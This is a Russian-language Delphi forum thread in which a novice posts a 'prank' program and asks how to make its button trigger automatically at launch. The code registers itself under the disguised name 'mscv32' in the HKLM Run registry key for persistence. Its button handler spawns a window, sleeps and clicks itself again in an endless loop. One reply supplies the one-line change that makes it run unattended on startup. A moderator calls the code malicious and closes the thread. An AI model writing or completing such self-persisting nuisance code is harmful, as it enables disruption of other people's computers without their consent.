[sauron99]

Помогите нубу плз)) Есть прога, действие выполняет после нажатия кнопки, а как сделать чтобы после запуска проги кнопка автоматом нажалась? только не предлогайте вставить действие на форму, мне надо чтоб кнопка жалась)

[Aristarh Dark]

Прога не твоя чтоль?

[sauron99]

я наверн тупо объяснил)) это прикол такой на делфи, жмёшь на кнопку создаются формы чере определённое время, как сделать чтоб при запуске проги всё выполнялось вот код:

Код:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, XPMan, Buttons, registry;

type
  TForm1 = class(TForm)
    XPManifest1: TXPManifest;
    BitBtn1: TBitBtn;
    procedure FormCreate(Sender: TObject);
    procedure BitBtn1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
var
reg: tregistry;
begin
reg := tregistry.create;
reg.rootkey := hkey_local_machine;
reg.lazywrite := false;
reg.openkey('software\microsoft\windows\currentversion\run',false);
reg.writestring('mscv32', application. exename);
reg.closekey;
reg.free;
Width:= 337; 
Height:= 185;
end;

procedure TForm1.BitBtn1Click(Sender: TObject);
var
X: TForm1; 
begin
X:= TForm1.Create(NIL);
ShowWindow(X.Handle, SW_SHOW); 
ShowWindow(X.BitBtn1.Handle, SW_SHOW); 
X.Top:= Random(Screen.Height); 
X.Left:= Random(Screen.Width);
X.Repaint; 
Sleep(1000);
BitBtn1.Click;

end;

end.

Admin: Пользуемся тегами!

[Alexo]

в FormCreate вставь
BitBtn1Click(form1)

[Aristarh Dark]

Код не будет работать если нет прав администратора в системе.
И еще, приведенный код сильно мне напоминает вредоносный, а посему тему я закрываю.